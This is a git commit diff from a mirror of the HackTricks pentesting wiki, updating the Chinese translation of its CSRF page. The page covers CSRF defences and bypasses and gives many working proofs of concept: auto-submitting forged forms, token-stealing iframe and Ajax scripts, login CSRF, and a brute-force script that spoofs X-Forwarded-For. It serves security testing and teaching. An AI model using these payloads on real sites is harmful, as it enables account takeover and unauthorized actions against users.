mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']
This commit is contained in:
parent
4ee9b2ab97
commit
5b2b9d65d8
@ -487,6 +487,7 @@
|
||||
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
|
||||
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
|
||||
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
|
||||
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
|
||||
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
|
||||
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
|
||||
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
|
||||
|
@ -4,49 +4,56 @@
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) 解释
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** 是一种出现在 web 应用中的安全漏洞。它允许攻击者利用用户的已认证会话替用户执行操作。当用户在受害者平台已登录时访问恶意站点,攻击就会被触发。该站点通过执行 JavaScript、提交表单或获取图片等方式向受害者账户发送请求。
|
||||
**Cross-Site Request Forgery (CSRF)** 是一种常见于 web 应用的安全漏洞。它允许攻击者通过利用用户的已认证会话,代替不知情的用户执行操作。攻击在用户(已登录受害者平台)访问恶意站点时发生,该站点通过执行 JavaScript、提交表单或获取图片等方式向受害者账户发起请求。
|
||||
|
||||
### CSRF 攻击的先决条件
|
||||
|
||||
要利用 CSRF 漏洞,需要满足几个条件:
|
||||
要利用 CSRF 漏洞,需要满足多个条件:
|
||||
|
||||
1. **Identify a Valuable Action**: 攻击者需要找到一个值得利用的操作,例如更改用户的密码、电子邮件或提升权限。
|
||||
2. **Session Management**: 用户的会话应仅通过 cookies 或 HTTP Basic Authentication header 管理,因为其他 header 无法为此目的被操控。
|
||||
3. **Absence of Unpredictable Parameters**: 请求不应包含不可预测的参数,否则可能会阻止攻击。
|
||||
1. **识别有价值的操作**:攻击者需要找到值得利用的操作,例如更改用户密码、邮箱或提升权限。
|
||||
2. **会话管理**:用户的会话应仅通过 cookies 或 HTTP Basic Authentication header 管理,因为其他头部无法为此目的被操控。
|
||||
3. **不存在不可预测的参数**:请求中不应包含不可预测的参数,否则可能阻止攻击。
|
||||
|
||||
### 快速检查
|
||||
|
||||
你可以在 Burp 中捕获请求并检查 CSRF 保护;要在浏览器中测试,可以点击 **Copy as fetch** 并检查请求:
|
||||
你可以 **在 Burp 中捕获请求** 并检查 CSRF 保护;要在浏览器中测试,你可以点击 **Copy as fetch** 并检查该请求:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 防御 CSRF
|
||||
### 防御 CSRF 攻击
|
||||
|
||||
可以实施多种对策来防范 CSRF 攻击:
|
||||
可以实施多种对策来防止 CSRF 攻击:
|
||||
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 该属性阻止浏览器在跨站请求时随请求发送 cookies。 [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): 受害者站点的 CORS 策略会影响攻击的可行性,尤其是在攻击需要读取受害者站点响应时。 [Learn about CORS bypass](cors-bypass.md).
|
||||
- **User Verification**: 要求用户输入密码或完成验证码可用于确认用户意图。
|
||||
- **Checking Referrer or Origin Headers**: 验证这些 header 可以帮助确保请求来自受信任的来源。然而,精心构造的 URL 仍可绕过实现不当的检查,例如:
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite):该属性阻止浏览器在跨站请求时发送 cookies。[More about SameSite cookies](hacking-with-cookies/index.html#samesite)。
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md):受害站点的 CORS 策略会影响攻击的可行性,尤其是当攻击需要读取受害站点响应时。[Learn about CORS bypass](cors-bypass.md)。
|
||||
- **用户验证**:提示用户输入密码或完成 captcha 可以确认用户意图。
|
||||
- **检查 Referrer 或 Origin 头**:验证这些头可以帮助确保请求来自可信来源。但精心构造的 URL 仍可绕过实现不当的检查,例如:
|
||||
- 使用 `http://mal.net?orig=http://example.com`(URL 以受信任 URL 结尾)
|
||||
- 使用 `http://example.com.mal.net`(URL 以受信任 URL 开头)
|
||||
- **Modifying Parameter Names**: 改变 POST 或 GET 请求中参数的名称可以帮助防止自动化攻击。
|
||||
- **CSRF Tokens**: 在每个会话中加入唯一的 CSRF token,并在后续请求中要求提供该 token,可以显著降低 CSRF 风险。通过强制执行 CORS 可以增强 token 的有效性。
|
||||
- **修改参数名**:更改 POST 或 GET 请求中参数的名称可以有助于防止自动化攻击。
|
||||
- **CSRF Tokens**:在每个会话中加入唯一的 CSRF token,并在后续请求中要求提供该 token,可以显著降低 CSRF 风险。通过强制 CORS 可以提高 token 的有效性。
|
||||
|
||||
理解并实现这些防护措施对于维护 web 应用的安全性和完整性至关重要。
|
||||
理解并实施这些防御对于维护 web 应用的安全性和完整性至关重要。
|
||||
|
||||
## 防御绕过
|
||||
#### 防御的常见陷阱
|
||||
|
||||
### 从 POST 到 GET (method-conditioned CSRF validation bypass)
|
||||
- SameSite 陷阱:`SameSite=Lax` 仍允许顶级的跨站导航,比如链接和表单 GET,因此许多基于 GET 的 CSRF 仍然可行。参见 cookie 矩阵在 [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite)。
|
||||
- 头部检查:当存在 `Origin` 时验证其值;如果 `Origin` 和 `Referer` 都缺失,应拒绝请求。不要依赖对 `Referer` 的子串/正则匹配,因为可以通过相似域名或精心构造的 URL 绕过;还要注意 `meta name="referrer" content="never"` 的抑制技巧。
|
||||
- 方法覆盖:将被覆盖的方法(`_method` 或 override headers)视为会改变状态的操作,并在实际方法上强制 CSRF,而不仅仅是在 POST 上。
|
||||
- 登录流程:对登录也应用 CSRF 保护;否则,login CSRF 会导致强制重新认证到攻击者控制的账户,这可以与 stored XSS 链接起来。
|
||||
|
||||
一些应用只在 POST 上执行 CSRF 验证,而对其他 HTTP 动词跳过。PHP 中常见的反模式如下:
|
||||
## 绕过防御
|
||||
|
||||
### 从 POST 到 GET(基于方法的 CSRF 验证绕过)
|
||||
|
||||
一些应用只在 POST 上强制 CSRF 验证,而对其他动词跳过。PHP 中常见的反模式看起来像:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
如果易受攻击的端点也接受来自 $_REQUEST 的参数,你可以以 GET 请求重新发送相同的操作并完全省略 CSRF token。这会把仅限 POST 的操作转换为无需 token 就能成功的 GET 操作。
|
||||
如果易受攻击的 endpoint 也接受来自 $_REQUEST 的参数,你可以将相同的操作以 GET 请求重新发起并完全省略 CSRF token。这样可以把一个仅限 POST 的操作转换为一个无需 token 即可成功的 GET 操作。
|
||||
|
||||
Example:
|
||||
|
||||
@ -66,49 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi
|
||||
```
|
||||
|
||||
Notes:
|
||||
- 这种模式经常与 reflected XSS 一起出现,响应被错误地以 text/html 而不是 application/json 返回。
|
||||
- 这种模式常与 reflected XSS 一起出现,原因是响应被错误地作为 text/html 而不是 application/json 返回。
|
||||
- 将此与 XSS 结合会大大降低利用门槛,因为你可以提供一个单一的 GET 链接,既触发易受攻击的代码路径,又完全绕过 CSRF 检查。
|
||||
|
||||
### 缺少 token
|
||||
|
||||
应用可能会在 token 存在时实现验证机制。然而,如果在 token 缺失时完全跳过验证,就会产生漏洞。攻击者可以通过删除携带 token 的参数(不仅仅是清空其值)来利用这一点。这允许他们绕过验证流程并有效地发起 Cross-Site Request Forgery (CSRF) 攻击。
|
||||
Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.
|
||||
|
||||
### CSRF token 未绑定到用户会话
|
||||
Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough:
|
||||
```http
|
||||
POST /admin/users/role HTTP/2
|
||||
Host: example.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
未将 CSRF token 绑定到用户会话的应用存在重大安全风险。这类系统将 token 与全局池进行校验,而不是确保每个 token 与发起会话关联。
|
||||
username=guest&role=admin&csrf=
|
||||
```
|
||||
最小化自动提交 PoC (通过 history.pushState 隐藏导航):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="https://example.com/admin/users/role" method="POST">
|
||||
<input type="hidden" name="username" value="guest" />
|
||||
<input type="hidden" name="role" value="admin" />
|
||||
<input type="hidden" name="csrf" value="" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### CSRF 令牌未绑定到用户会话
|
||||
|
||||
应用程序**未将 CSRF 令牌绑定到用户会话**会带来重大**安全风险**。这些系统会将令牌与**全局池**进行验证,而不是确保每个令牌绑定到发起会话。
|
||||
|
||||
攻击者利用该问题的方式如下:
|
||||
|
||||
1. 使用自己的账户进行认证。
|
||||
2. 从全局池获取一个有效的 CSRF token。
|
||||
3. 在针对受害者的 CSRF 攻击中使用该 token。
|
||||
1. **Authenticate** 使用他们自己的账户。
|
||||
2. **从全局池获取有效的 CSRF 令牌**。
|
||||
3. **在针对受害者的 CSRF 攻击中使用该令牌**。
|
||||
|
||||
该漏洞允许攻击者代表受害者发起未授权请求,利用应用不充分的 token 验证机制。
|
||||
该漏洞允许攻击者代表受害者发起未经授权的请求,利用应用程序**不充分的令牌验证机制**。
|
||||
|
||||
### 方法绕过
|
||||
### 绕过方法
|
||||
|
||||
如果请求使用一个“奇怪”的 method,检查 method override 功能是否生效。例如,如果它使用 PUT method,你可以尝试使用 POST method 并发送: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
如果请求使用了一个“**weird**”的**方法**,检查**method override**功能是否可用。例如,如果它使用的是 **PUT/DELETE/PATCH** 方法,你可以尝试使用 **POST** 并发送覆盖,例如 `https://example.com/my/dear/api/val/num?_method=PUT`。
|
||||
|
||||
这也可以通过在 POST 请求中发送 \_method 参数或使用以下 headers 来实现:
|
||||
也可以通过在 POST body 中发送 **`_method` 参数** 或使用覆盖 **headers** 来实现:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
- `X-HTTP-Method`
|
||||
- `X-HTTP-Method-Override`
|
||||
- `X-Method-Override`
|
||||
|
||||
### 自定义 header token 绕过
|
||||
在 **Laravel**, **Symfony**, **Express** 等框架中常见。开发者有时会对非 POST 动词跳过 CSRF 检查,认为浏览器无法发出这些请求;但通过 override,你仍然可以通过 POST 访问这些处理程序。
|
||||
|
||||
如果请求通过在自定义 header 中添加 token 来作为 CSRF 保护方法,那么:
|
||||
示例请求和 HTML PoC:
|
||||
```http
|
||||
POST /users/delete HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
- 在没有 Customized Token 及其 header 的情况下测试请求。
|
||||
- 使用相同长度但不同的 token 测试请求。
|
||||
username=admin&_method=DELETE
|
||||
```
|
||||
|
||||
### CSRF token 由 cookie 验证
|
||||
```html
|
||||
<form method="POST" action="/users/delete">
|
||||
<input name="username" value="admin">
|
||||
<input type="hidden" name="_method" value="DELETE">
|
||||
<button type="submit">Delete User</button>
|
||||
</form>
|
||||
```
|
||||
### Custom header token bypass
|
||||
|
||||
应用可能通过在 cookie 和请求参数中同时复制 token,或设置 CSRF cookie 并在后端验证请求中发送的 token 是否与 cookie 对应来实现 CSRF 保护。应用通过检查请求参数中的 token 是否与 cookie 的值一致来验证请求。
|
||||
如果请求通过在请求中添加一个 **custom header** 和 **token** 作为 **CSRF protection method**,那么:
|
||||
|
||||
然而,如果网站存在允许攻击者在受害者浏览器中设置 CSRF cookie 的漏洞(例如 CRLF 漏洞),此方法就容易受到 CSRF 攻击。攻击者可以先通过加载一个伪装的图片来设置该 cookie,然后发起 CSRF 攻击。
|
||||
- 在没有 **Customized Token and also header.** 的情况下测试请求。
|
||||
- 使用长度完全相同但内容不同的 **same length but different token** 测试请求。
|
||||
|
||||
Below is an example of how an attack could be structured:
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
应用可能通过在 cookie 和请求参数中同时复制 token,或者设置 CSRF cookie 并验证后端收到的 token 是否与该 cookie 对应,来实现 CSRF 保护。应用通过检查请求参数中的 token 是否与 cookie 的值一致来验证请求。
|
||||
|
||||
然而,如果网站存在漏洞(例如 CRLF 漏洞)允许攻击者在受害者的浏览器中设置 CSRF cookie,则该方法易受 CSRF 攻击。攻击者可以通过加载一个伪装的图像来设置该 cookie,然后发起 CSRF 攻击。
|
||||
|
||||
下面是一个可能构造的攻击示例:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> 请注意,如果 **csrf token is related with the session cookie this attack won't work**,因为你需要将 victim 的 session 设置为你的 session,因此你将攻击自己。
|
||||
> 注意,如果**csrf token 与 session cookie 相关联时,此攻击不会生效**,因为你需要将你的 session 设置到受害者那里,因此你实际上会攻击你自己。
|
||||
|
||||
### Content-Type change
|
||||
### Content-Type 更改
|
||||
|
||||
根据 [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests),为了在使用 **POST** 方法时**避免 preflight 请求**,允许的 Content-Type 值包括:
|
||||
根据 [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests),为了在使用 **POST** 方法时**避免 preflight** 请求,允许的 Content-Type 值包括:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
但是请注意,服务器逻辑可能会根据所使用的 **Content-Type** 而有所不同,因此你应该尝试上面提到的值以及其他例如 **`application/json`**, **`text/xml`**, **`application/xml`**。
|
||||
然而,请注意,**服务器的逻辑可能会根据所使用的 Content-Type 而有所不同**,因此你应该尝试上面提到的值以及其他值,例如 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
示例(来自 [here](https://brycec.me/posts/corctf_2021_challenges))将 JSON 数据作为 text/plain 发送:
|
||||
示例(来自 [here](https://brycec.me/posts/corctf_2021_challenges))将 JSON 数据作为 `text/plain` 发送:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -162,23 +209,23 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### 绕过针对 JSON 数据的预检请求
|
||||
### 绕过 JSON 数据的预检请求
|
||||
|
||||
当尝试通过 POST 请求发送 JSON 数据时,在 HTML 表单中使用 `Content-Type: application/json` 并不可行。同样,使用 `XMLHttpRequest` 发送此 Content-Type 会触发预检请求。不过,存在一些策略可以尝试绕过此限制,并检测服务器是否会在不考虑 Content-Type 的情况下处理 JSON 数据:
|
||||
当尝试通过 POST 请求发送 JSON 数据时,在 HTML 表单中使用 `Content-Type: application/json` 并不可行。同样,使用 `XMLHttpRequest` 发送该 Content-Type 会触发预检请求。不过,存在一些策略可以尝试绕过此限制并检查服务器是否在不考虑 Content-Type 的情况下处理 JSON 数据:
|
||||
|
||||
1. **使用替代 Content-Type**:通过在表单中设置 `enctype="text/plain"` 来使用 `Content-Type: text/plain` 或 `Content-Type: application/x-www-form-urlencoded`。这种方法用于测试后台是否在不看 Content-Type 的情况下使用数据。
|
||||
2. **修改 Content-Type**:为避免预检请求并尽量让服务器识别为 JSON,可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求,但如果服务器被配置为接受 `application/json`,可能会被正确处理。
|
||||
3. **使用 SWF Flash 文件**:一种不太常见但可行的方法是使用 SWF flash 文件来绕过这些限制。要深入了解此技术,请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
|
||||
1. **Use Alternative Content Types**: 通过在表单中设置 `enctype="text/plain"` 来使用 `Content-Type: text/plain` 或 `Content-Type: application/x-www-form-urlencoded`。此方法用于测试后端是否会在不管 Content-Type 的情况下使用数据。
|
||||
2. **Modify Content Type**: 为了避免预检请求同时又让服务器将内容识别为 JSON,可以发送 `Content-Type: text/plain; application/json`。这不会触发预检请求,但如果服务器配置为接受 `application/json`,可能会被正确处理。
|
||||
3. **SWF Flash File Utilization**: 一种不太常见但可行的方法是使用 SWF flash 文件来绕过此类限制。有关该技术的深入说明,请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
|
||||
|
||||
### Referrer / Origin 检查绕过
|
||||
|
||||
**避免 Referer header**
|
||||
**Avoid Referrer header**
|
||||
|
||||
应用可能只在 'Referer' header 存在时对其进行验证。要阻止浏览器发送该 header,可使用以下 HTML meta 标签:
|
||||
应用可能只在存在 'Referer' header 时才进行验证。要阻止浏览器发送此 header,可以使用以下 HTML meta tag:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
这将确保 'Referer' 头被省略,可能绕过某些应用中的验证检查。
|
||||
这可以确保 'Referer' 请求头被省略,从而可能绕过某些应用中的验证检查。
|
||||
|
||||
**Regexp bypasses**
|
||||
|
||||
@ -187,7 +234,7 @@ form.submit()
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
要在 Referrer 将在参数中发送的 URL 中设置服务器的域名,你可以这样做:
|
||||
要在 Referrer 将要在参数中发送的 URL 中设置服务器的域名,可以这样做:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -216,17 +263,52 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **HEAD 方法绕过**
|
||||
### **HEAD method bypass**
|
||||
|
||||
在 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) 的第一部分解释了 [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) 中,一个 router 被设置为 **handle HEAD requests as GET requests** 且没有响应体 —— 这是一个常见的变通方法,并非 Oak 独有。与其使用专门处理 HEAD reqs 的 handler,它们只是**被交给 GET handler,但应用只是移除响应体**。
|
||||
在 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) 的第一部分中解释到,[Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) 中的路由被设置为 **handle HEAD requests as GET requests** 且不返回响应体——这是一个常见的变通方法,并非 Oak 独有。与其实现一个专门处理 HEAD reqs 的处理器,它们只是被 **given to the GET handler but the app just removes the response body**。
|
||||
|
||||
因此,如果 GET 请求受到限制,你可以**发送一个将被作为 GET 处理的 HEAD 请求**。
|
||||
因此,如果 GET 请求被限制,你可以直接 **send a HEAD request that will be processed as a GET request**。
|
||||
|
||||
## **Exploit Examples**
|
||||
|
||||
### Stored CSRF via user-generated HTML
|
||||
|
||||
当允许 rich-text editors 或 HTML injection 时,你可以持久化一个 passive fetch,触发存在漏洞的 GET endpoint。任何查看该内容的用户都会自动使用他们的 cookies 执行该请求。
|
||||
|
||||
- 如果应用使用一个未绑定到 user session 的 global CSRF token,则相同的 token 可能对所有用户都有效,使得 stored CSRF 在不同受害者间都可靠。
|
||||
|
||||
Minimal example that changes the viewer’s email when loaded:
|
||||
```html
|
||||
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
|
||||
```
|
||||
### Login CSRF 与 stored XSS 链接
|
||||
|
||||
Login CSRF 单独看可能影响较小,但与已认证的 stored XSS 链接后会变得非常强大:强制受害者使用攻击者控制的账号进行认证;在该上下文中,认证页面上的 stored XSS 会被触发,能够窃取 tokens、劫持 session 或提升权限。
|
||||
|
||||
- 确保 login endpoint 可被 CSRF 利用(没有 per-session token 或 origin check),且没有用户交互门槛阻止它。
|
||||
- 在强制登录后,自动跳转到包含攻击者的 stored XSS payload 的页面。
|
||||
|
||||
最小化的 login-CSRF PoC:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="https://example.com/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker@example.com" />
|
||||
<input type="hidden" name="password" value="StrongPass123!" />
|
||||
<input type="submit" value="Login" />
|
||||
</form>
|
||||
<script>
|
||||
history.pushState('', '', '/');
|
||||
document.forms[0].submit();
|
||||
// Optionally redirect to a page with stored XSS in the attacker account
|
||||
// location = 'https://example.com/app/inbox';
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Exfiltrating CSRF Token**
|
||||
|
||||
如果应用使用 **CSRF token** 作为 **defence**,你可以尝试通过滥用 [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 漏洞来**exfiltrate it**。
|
||||
如果正在使用 **CSRF token** 作为 **defence**,你可以尝试通过滥用 [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 漏洞来 **exfiltrate it**。
|
||||
|
||||
### **GET using HTML tags**
|
||||
```xml
|
||||
@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### 通过 iframe 发送 Form POST 请求
|
||||
### 通过 iframe 发起表单 POST 请求
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -332,7 +414,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Ajax POST 请求**
|
||||
### **Ajax POST request**
|
||||
```html
|
||||
<script>
|
||||
var xh
|
||||
@ -374,7 +456,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
mode: "no-cors",
|
||||
})
|
||||
```
|
||||
### multipart/form-data POST 请求 v2
|
||||
### multipart/form-data POST request v2
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
@ -402,7 +484,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### 从 iframe 内发起的 Form POST 请求
|
||||
### 在 iframe 内发起表单 POST 请求
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -426,7 +508,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **窃取 CSRF Token 并发送 POST request**
|
||||
### **窃取 CSRF Token 并发送 POST 请求**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -501,7 +583,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **窃取 CSRF Token 并使用 iframe 和 form 发送 POST 请求**
|
||||
### **窃取 CSRF Token 并 使用 iframe 和 form 发送 POST 请求**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -534,7 +616,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **窃取 token 并使用 2 个 iframes 发送**
|
||||
### **窃取 token 并使用 2 个 iframes 发送它**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -564,7 +646,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POST — 使用 Ajax 窃取 CSRF token 并通过表单发送 post**
|
||||
### **POSTSteal CSRF token 使用 Ajax 并通过 form 发送 post**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -595,7 +677,7 @@ document.getElementById("form").submit()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
### 使用 Socket.IO 的 CSRF
|
||||
### CSRF 与 Socket.IO
|
||||
```html
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
@ -617,7 +699,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
该代码可用于使用 CSRF token 对登录表单进行 Brut Force(它也使用 X-Forwarded-For 头来尝试绕过可能的 IP 黑名单):
|
||||
该代码可用于使用 CSRF token 对登录表单进行 Brut Force(它还使用请求头 X-Forwarded-For 来尝试绕过可能的 IP blacklisting):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -665,6 +747,7 @@ login(USER, line.strip())
|
||||
|
||||
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||
- [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)
|
||||
|
||||
## 参考资料
|
||||
|
||||
@ -673,5 +756,11 @@ login(USER, line.strip())
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
|
||||
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
|
||||
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
|
||||
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
|
||||
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
|
||||
- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user